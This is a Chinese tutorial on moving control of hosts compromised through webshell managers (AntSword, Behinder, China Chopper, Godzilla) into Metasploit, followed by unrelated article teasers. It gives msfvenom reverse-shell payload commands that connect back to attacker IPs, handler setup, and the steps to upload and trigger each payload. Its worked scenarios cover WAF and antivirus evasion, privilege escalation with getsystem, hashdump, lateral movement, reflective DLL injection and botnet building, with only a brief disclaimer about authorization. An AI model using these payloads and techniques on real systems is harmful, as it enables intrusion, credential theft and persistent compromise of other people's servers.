从webshell管理工具(蚁剑 冰蝎 哥斯拉 菜刀 哥斯拉等)程控制主机后,再将这个控制能力上线到MSF 为什么要这么做了?一篇文章告诉你

article/2025/7/2 21:35:00

目录

一、为什么Webshell管理工具需要上线到Metasploit?

什么情况下需要上线到Metasploit?

二、常见Webshell管理工具及上线Metasploit的步骤

1. 蚁剑(AntSword)上线到Metasploit

上线步骤:

实际案例:

2. 冰蝎(Behinder)上线到Metasploit

上线步骤:

实际案例:

3. 菜刀(China Chopper)上线到Metasploit

上线步骤:

实际案例:

4. 其他Webshell管理工具(补充)

Godzilla(哥斯拉)

QuasiBot

三、需要上线到Metasploit的实际案例总结

四、注意事项

--------------------------------------冰蝎上线msf实战过程


一、为什么Webshell管理工具需要上线到Metasploit?

内网渗透挂马的场景中,Webshell管理工具(如蚁剑、冰蝎、菜刀等)虽然已经提供了远程控制能力,但上线到Metasploit有以下几个关键原因:

  1. 功能扩展

    • Metasploit提供强大的后渗透模块(如权限提升、持久化、横向移动、网络嗅探等),这些功能远超Webshell管理工具的基本命令执行和文件管理能力。

  2. 通信隐蔽性

    • Webshell通常通过HTTP/HTTPS通信,可能被WAF(Web应用防火墙)或IDS(入侵检测系统)检测到。而Metasploit支持的反向连接(如Meterpreter)可以通过加密通道(如TCP或HTTPS)通信,更难被发现。

  3. 会话管理

    • 在内网渗透中,可能同时控制多个目标主机,Metasploit可以集中管理多个会话,方便操作。

  4. 复杂任务需求

    • 某些任务(如提权、内网信息收集、漏洞利用)需要Metasploit的专用Payload或脚本支持,而Webshell工具本身功能有限。

什么情况下需要上线到Metasploit?

  • 内网渗透:已经通过Webshell进入边界服务器,但需要深入内网(如横向移动到域控)。

  • 挂马后控制:通过挂马植入Webshell后,需要更强大的控制能力以执行后续攻击。

  • 规避检测:Webshell通信被监控,需要切换到Metasploit的反向Shell。

  • 权限提升:目标服务器权限较低,需要Metasploit的提权模块。


二、常见Webshell管理工具及上线Metasploit的步骤

以下是针对蚁剑(AntSword)、冰蝎(Behinder)、菜刀(China Chopper)的上线步骤,以及其他工具的补充说明。每个工具都会附带一个实际案例。

1. 蚁剑(AntSword)上线到Metasploit

上线步骤:
  1. 生成Metasploit Payload

    • 使用msfvenom生成一个PHP反向TCP Payload:

      msfvenom -p php/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f raw > shell.php
    • shell.php上传到目标服务器的Web目录。

  2. 配置Metasploit监听

    • 启动Metasploit并设置监听:

      msfconsole
      use exploit/multi/handler
      set payload php/meterpreter/reverse_tcp
      set LHOST <你的IP>
      set LPORT <你的端口>
      exploit
  3. 通过蚁剑执行Payload

    • 在蚁剑中连接到已有Webshell。

    • 使用“文件管理”功能上传shell.php,然后通过“命令执行”或访问URL触发它(例如:curl http://target/shell.php)。

  4. 接收会话

    • Metasploit的multi/handler会接收到一个Meterpreter会话。

实际案例:

场景:你在内网渗透中通过SQL注入上传了一个PHP Webshell(backdoor.php),并用蚁剑连接。现在需要深入内网,探测其他主机。

  • 步骤

    1. 生成Payload:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php

    2. 在蚁剑中上传shell.php/var/www/html/

    3. 配置Metasploit监听:LHOST=192.168.1.100, LPORT=4444,运行exploit

    4. 在蚁剑中执行php /var/www/html/shell.php,Metasploit收到会话。

  • 结果:获得Meterpreter会话后,使用run arp_scanner扫描内网其他主机,开始横向移动。


2. 冰蝎(Behinder)上线到Metasploit

上线步骤:
  1. 生成Metasploit Payload

    • 假设目标支持JSP,生成Java Meterpreter Payload:

      msfvenom -p java/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f war > shell.war
    • shell.war上传到目标Web服务器并部署。

  2. 配置Metasploit监听

    • 启动Metasploit并设置监听:

      use exploit/multi/handler
      set payload java/meterpreter/reverse_tcp
      set LHOST <你的IP>
      set LPORT <你的端口>
      exploit
  3. 通过冰蝎执行Payload

    • 在冰蝎客户端连接到已有Webshell。

    • 使用“命令执行”功能触发shell.war(例如:访问http://target/shell/)。

  4. 接收会话

    • Metasploit接收到Meterpreter会话。

实际案例:

场景:通过文件上传漏洞上传了一个JSP Webshell(backdoor.jsp),用冰蝎管理。现在需要规避WAF检测,切换到Meterpreter。

  • 步骤

    1. 生成Payload:msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=5555 -f war > shell.war

    2. 在冰蝎中上传shell.war到Tomcat的webapps目录,自动部署为shell

    3. 配置Metasploit监听:LHOST=10.0.0.10, LPORT=5555,运行exploit

    4. 在冰蝎中访问http://target/shell/,触发Payload。

  • 结果:Metasploit收到会话,WAF不再检测到Webshell的HTTP流量。


3. 菜刀(China Chopper)上线到Metasploit

上线步骤:
  1. 生成Metasploit Payload

    • 假设Webshell是ASP,生成ASP Meterpreter Payload:

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f asp > shell.asp
    • shell.asp上传到目标Web目录。

  2. 配置Metasploit监听

    • 启动Metasploit并设置监听:

      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set LHOST <你的IP>
      set LPORT <你的端口>
      exploit
  3. 通过菜刀执行Payload

    • 在菜刀中连接到已有Webshell。

    • 使用“执行命令”功能触发shell.asp(例如:curl http://localhost/shell.asp)。

  4. 接收会话

    • Metasploit接收到Meterpreter会话。

实际案例:

场景:通过挂马在受害者网站植入ASP Webshell(backdoor.asp),用菜刀管理。现在需要提权到SYSTEM。

  • 步骤

    1. 生成Payload:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.50 LPORT=6666 -f asp > shell.asp

    2. 在菜刀中上传shell.aspC:\inetpub\wwwroot\

    3. 配置Metasploit监听:LHOST=172.16.1.50, LPORT=6666,运行exploit

    4. 在菜刀中执行wscript.exe //e:vbscript http://localhost/shell.asp,触发Payload。

  • 结果:Metasploit收到会话,使用getsystem命令成功提权到SYSTEM。


4. 其他Webshell管理工具(补充)

Godzilla(哥斯拉)
  • 上线步骤:类似冰蝎,生成适合目标语言的Payload(如PHP/Java),上传后通过Godzilla的命令执行功能触发。

  • 案例:在内网渗透中,上传shell.php并用Godzilla执行,连接Metasploit后执行run post/windows/gather/hashdump抓取密码哈希。

QuasiBot
  • 上线步骤:生成Windows Payload(如windows/meterpreter/reverse_tcp),通过QuasiBot的HTTP通信执行。

  • 案例:挂马后控制多台主机,上传Payload并上线到Metasploit,构建僵尸网络。


三、需要上线到Metasploit的实际案例总结

以下是具体场景及上线原因的案例:

  1. 内网渗透 - 横向移动

    • 场景:通过蚁剑控制边界Web服务器,需要扫描内网其他主机。

    • 上线原因:Metasploit的arp_scannerportscan模块更高效。

    • 案例:如蚁剑案例所述。

  2. 挂马后提权

    • 场景:通过挂马植入菜刀Webshell,当前权限为普通用户。

    • 上线原因:Metasploit的提权模块(如getsystem)更强大。

    • 案例:如菜刀案例所述。

  3. 规避检测

    • 场景:冰蝎Webshell被WAF频繁拦截。

    • 上线原因:Metasploit的加密通信更隐蔽。

    • 案例:如冰蝎案例所述。

  4. 复杂任务执行

    • 场景:通过Godzilla控制服务器,需要抓取密码哈希。

    • 上线原因:Metasploit的hashdump模块直接可用。

    • 案例:如Godzilla补充所述。


四、注意事项

  • 合法性:仅在授权的渗透测试中使用,未经许可的操作违法。

  • 安全性:在虚拟机或测试环境实验,避免影响生产系统。

  • 隐蔽性:实际攻击中可能需混淆Payload以绕过杀软。

  • 实践建议:搭建靶场(如Metasploitable)亲自操作。


----------冰蝎上线msf实战过程

通过jsp上线到冰蝎

kali-冰蝎上线到msf过程
  • msf操作

search exploit /multi/handler
use 5
set payload java/meterpreter/reverse_tcp
set lhost   ### MSF服务端IP
set lport   ### 启用得端口
run 

冰蝎连接反弹shell部分

  • 点击给我连 查看shell上连接成功

------------------MSF存在最大会话限制问题处理

  • 冰蝎反弹shell后
  • msf最后上线发现java/windows类型的msf会话存在较大的限制

背景说明

  • 在利用冰蝎反弹 shell 成功入侵目标后,通过 Metasploit(MSF)上线的会话如果是基于 Java 的 Windows 会话,就会发现功能受限,尤其是在进程注入、提权等操作上。
  • 这种情况常见于利用冰蝎或其他类似 webshell 工具时,反弹出来的 shell 实际上并非一个完整的原生 Meterpreter 会话,而是经过 Java 层包装后的简化版会话。

限制原因分析

  1. Java 环境的局限性

    • 抽象层较高:基于 Java 的 payload 运行在 JVM 内,JVM 屏蔽了底层操作系统的一些 API。像进程注入需要直接调用 Windows 的 native API(如 VirtualAllocEx、WriteProcessMemory、NtCreateThreadEx 等),而这些 API 的调用在 JVM 环境中无法直接完成。
    • 安全沙箱机制:Java 应用通常受到一定的安全限制,无法轻易加载或执行本地 DLL,这使得很多 native 技术难以实现。
  2. Payload 设计缺陷

    • 功能受限:许多利用冰蝎反弹的 payload 本身并非为完整的渗透后操作设计,而是仅提供一个简单的命令交互通道。MSF 在接管这种会话时,往往会检测到其非原生特性,从而无法启用诸如进程注入、提权等高级功能。
    • 模块兼容性问题:MSF 中的部分模块要求底层会话必须具备 native 执行环境,而 Java 反弹的 shell在调用系统 API 时存在局限性,从而无法满足模块的调用要求。

解决方法

针对这种情况,常见的处理方法有两种:

  1. 转换为原生 Meterpreter 会话

    • 手工上传原生 payload:利用已获得的 Java shell,在目标系统上上传并执行一个原生 Windows 负载(例如反射式 DLL 注入 payload 或者 Powershell 编写的原生加载器)。
    • 进程迁移:如果当前会话允许一定的操作,可以尝试利用进程迁移(migrate)功能,将会话迁移到一个拥有较高权限且环境较为原生的进程中。但需要注意的是,Java 会话通常不支持这一操作,因此需要借助外部 payload 进行转换。
  2. 手工调用本地提权工具

    • 利用系统自带工具或漏洞:在目标机上利用 UAC 绕过或者已知漏洞进行提权。这通常要求手工构造命令或者利用 Powershell 脚本加载 native 模块。
    • 自定义 DLL 注入:通过上传一个自定义编写的 DLL,然后利用诸如 rundll32.exe 或者其他已知载体进行注入,获得更高权限的 native 代码执行环境。

实际案例

在一次渗透测试中,测试人员通过冰蝎反弹获得了一个基于 Java 的反向 shell。上线后发现,该会话虽然可以执行基本命令,但在尝试调用 Meterpreter 模块进行进程注入和提权时均报错,提示缺乏必要的 native 环境支持。

处理过程如下:

  1. 初步验证
    测试人员在会话内运行了一些标准的 Meterpreter 命令(如 getpidps 等),发现返回信息并不完整,且无法进行进程迁移。

  2. 构思解决方案
    根据分析,测试人员判断问题出在 payload 本身的局限性,决定在目标机上上传一个专门编译好的原生 payload。该 payload 是一个反射式 DLL 注入工具,能够加载到目标系统的原生进程中,并在内存中建立一个完整的 Meterpreter 会话。

  3. 实施转换
    利用现有的 Java shell,测试人员上传了该 DLL 和一个辅助的 loader 工具。接着,通过 loader 工具在目标机上调用 rundll32.exe 执行 DLL 注入,成功将原生 payload 注入到一个系统进程中。

    • 结果:注入成功后,测试人员得到了一个完整的 native Meterpreter 会话。此时,使用 migrategetsystem、以及其他提权模块均能正常运行,最终成功获取了更高权限并进行了后续操作。
  4. 后续利用
    利用 native 会话,测试人员进一步收集系统信息、横向渗透,最终完成了测试目标。


总结

  • 原因:由于基于 Java 的 shell 运行在 JVM 环境中,其调用 native API 的能力受到限制,加上 payload 本身设计上的局限,导致无法进行进程注入及提权操作。
  • 处理方式:解决思路通常为将受限的 Java 会话转换为原生 Meterpreter 会话。常用方法是手工上传并执行原生 payload(如反射式 DLL 注入工具),或利用系统漏洞进行提权。
  • 实际应用:通过上传自定义的 DLL 及 loader 工具,测试人员成功将 Java 会话转换为 native 会话,从而实现了完整的权限控制和后续操作。


http://www.hkcw.cn/article/wHlHZUEQAW.shtml

相关文章

【Ragflow】24.Ragflow-plus开发日志:增加分词逻辑,修复关键词检索失效问题

概述 在RagflowPlus v0.3.0 版本推出之后&#xff0c;反馈比较多的问题是&#xff1a;检索时&#xff0c;召回块显著变少了。 如上图所示&#xff0c;进行检索测试时&#xff0c;关键词相似度得分为0&#xff0c;导致混合相似度(加权相加得到)也被大幅拉低&#xff0c;低于设定…

YOLOv5 :训练自己的数据集

- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营](https://mp.weixin.qq.com/s/rnFa-IeY93EpjVu0yzzjkw) 中的学习记录博客** - **&#x1f356; 原作者&#xff1a;[K同学啊](https://mtyjkh.blog.csdn.net/)** 我们接着上一篇文章配置完YOLOv5需要的环境后&#…

【Unity】云渲染

1 前言 最近在搞Unity云渲染的东西&#xff0c;所以研究了下官方提供的云渲染方案Unity Renderstreaming。注&#xff1a;本文使用的Unity渲染管线是URP。 2 文档 本文也只是介绍基本的使用方法&#xff0c;更详细内容参阅官方文档。官方文档&#xff1a;Unity Renderstreamin…

每日一道面试题---ArrayList的自动扩容机制(口述版本)

首先&#xff0c;ArrayList是基于动态数组实现的&#xff0c;它的容量是可以动态增长的&#xff0c;ArrayList的默认容量是10&#xff0c;当我们向ArrayList中插入一个数据时&#xff0c;第一步&#xff0c;会先进行一个条件的校验操作&#xff0c;先去判断ArrayList是不是一个…

分布式锁优化:使用Lua脚本保证释放锁的原子性问题

分布式锁优化&#xff08;二&#xff09;&#xff1a;使用Lua脚本保证释放锁的原子性问题 &#x1f4bb;黑马视频链接&#xff1a;Lua脚本解决多条命令原子性问题 在上一章节视频实现了一个可用的Redis分布式锁&#xff0c;采用SET NX EX命令实现互斥和过期自动释放机制&…

B1、进度汇报(— 25/05/31)

本文档汇总了各成员在 2025 年 5 月 11 日 ~ 5 月 31 日完成的工作。我们遇到了进度问题&#xff08;收工后需反思&#xff09;&#xff1a; 本学期第十四周&#xff08;05/19 ~ 05/25&#xff09;有相当多课程需要提交实验结果或上台展示。本学期第十六周&#xff08;06/02 ~…

BUUCTF[极客大挑战 2019]Havefun 1题解

BUUCTF[极客大挑战 2019]Havefun 1题解 题目分析解题理解代码逻辑&#xff1a;构造Payload&#xff1a; 总结 题目分析 生成靶机&#xff0c;进入网址&#xff1a; 首页几乎没有任何信息&#xff0c;公式化F12打开源码&#xff0c;发现一段被注释的源码&#xff1a; 下面我们…

常见算法题目5 -常见的排序算法

常见算法题目5 -常见的排序算法 本文介绍常见的排序算法的思路及代码实现(都是按照从小到大排列)&#xff0c;包括冒泡排序、选择排序、插入排序、快速排序、归并排序、堆排序。 1.冒泡排序 思路&#xff1a;重复遍历数组&#xff0c;依次比较相邻元素&#xff0c;若顺序错误…

3.需求分析与测试用例设计方法

设计方法 测试点 定义: 测试时需要考虑的可测试方面&#xff0c;不同公司可能称为"检查点"或其它名称特点: 是需求分析的最后一个环节&#xff0c;用于解决"测哪里"和"怎么测"的问题举例说明: 如同打架时的各种招数&#xff0c;如直接约架、设…

【PCB设计】STM32开发板——电源设计

电源稳压器&#xff08;Power Regulator&#xff09;是一种在电源电压或者负载电流发生变化的时候&#xff0c;依然能够提供稳定输出电压的元件。 一、关于LDO电路 1.引入 小灯泡实验 2.LDO原理 3.LDO芯片结构框图 PNP型三极管&#xff0c;Ube上升&#xff0c;截至&#xff…

BUUCTF[HCTF 2018]WarmUp 1题解

BUUCTF[HCTF 2018]WarmUp 1题解 分析解题过程代码审计主体函数CHECK函数&#xff1a; 构造payload 总结 分析 启动靶机&#xff0c;进入网址&#xff0c;是一张滑稽的表情包&#xff1a; 程序化F12查看源码&#xff1a; 发现注释内容&#xff0c;访问 url:/source.php得到…

如何使用DAXStudio将PowerBI与Excel连接

如何使用DAXStudio将PowerBI与Excel连接 之前分享过一篇自动化文章&#xff1a;PowerBI链接EXCEL实现自动化报表&#xff0c;使用一个EXCEL宏工作薄将PowerBI与EXCEL连接起来&#xff0c;今天分享另一个方法&#xff1a;使用DAX Studio将PowerBI与EXCEL连接。 下面是使用DAX S…

neo4j 5.19.0两种基于向量进行相似度查询的方式

介绍 主要讲的是两种相似度查询 一种是创建向量索引&#xff0c;然后直接从索引的所有数据中进行相似度搜索&#xff0c;这种不支持基于自己查询的结果中进行相似度匹配另一种是自己调用向量方法生产相似度进行相似度搜索&#xff0c;这种可以基于自己的查询结果中进行相似度…

中科院报道铁电液晶:从实验室突破到多场景应用展望

2020年的时候&#xff0c;相信很多关注科技前沿的朋友都注意到&#xff0c;中国科学院一篇报道聚焦一项有望改写显示产业格局的新技术 —— 铁电液晶&#xff08;FeLC&#xff09;。这项被业内称为 "下一代显示核心材料" 的研究&#xff0c;究竟取得了哪些实质性进展…

任务26:绘制1-12月各省份平均气温和预测可视化图形(折线

任务描述 知识点&#xff1a; DjangoECharts 重 点&#xff1a; DjangoECharts折线图 内 容&#xff1a; 绘制列表框&#xff0c;能够切换不同的省份根据ECharts官方示例&#xff0c;绘制ECharts折线图根据ECharts配置项手册&#xff0c;修改ECharts图形配置 任务指导…

【Redis】Set 集合

文章目录 常用命令saddsmemberssismemberscardspopsmovesrem 集合间操作sinter && sinterstoresunion && sunionstoresdiff && sdiffstore 内部编码应用场景 集合类型也是用于存储多个字符串类型的数据结构 集合中元素之间是 1. 无序的 2. 不允许重复的…

python打卡训练营打卡记录day43

复习日 作业&#xff1a; kaggle找到一个图像数据集&#xff0c;用cnn网络进行训练并且用grad-cam做可视化 进阶&#xff1a;并拆分成多个文件 数据集来源&#xff1a;Flowers Recognition 选择该数据集原因&#xff1a; 中等规模&#xff1a;4242张图片 - 训练快速但足够展示效…

向量空间的练习题目

1.考虑 中的向量x1 和x2 求每一向量的长度 令x3x1x2,求x3的长度&#xff0c;它的长度与x1和x2的和有什么关系&#xff1f; 2.重复练习1&#xff0c;取向量 3.令C为复数集合&#xff0c;定义C上的加法为 (abi)(cdi)(ac)(bd)i 并定义标量乘法为对所有实数a (abi) a bi 证明&…

Android Studio历史版本下载地址汇总

Android Studio 下载文件归档 | Android Developers本页提供了各个 Android Studio 版本的下载归档文件。https://developer.android.google.cn/studio/archive?hlzh-cn

SpringBoot-Thymeleaf

大佬写的真好&#xff1a;Thymeleaf一篇就够了-阿里云开发者社区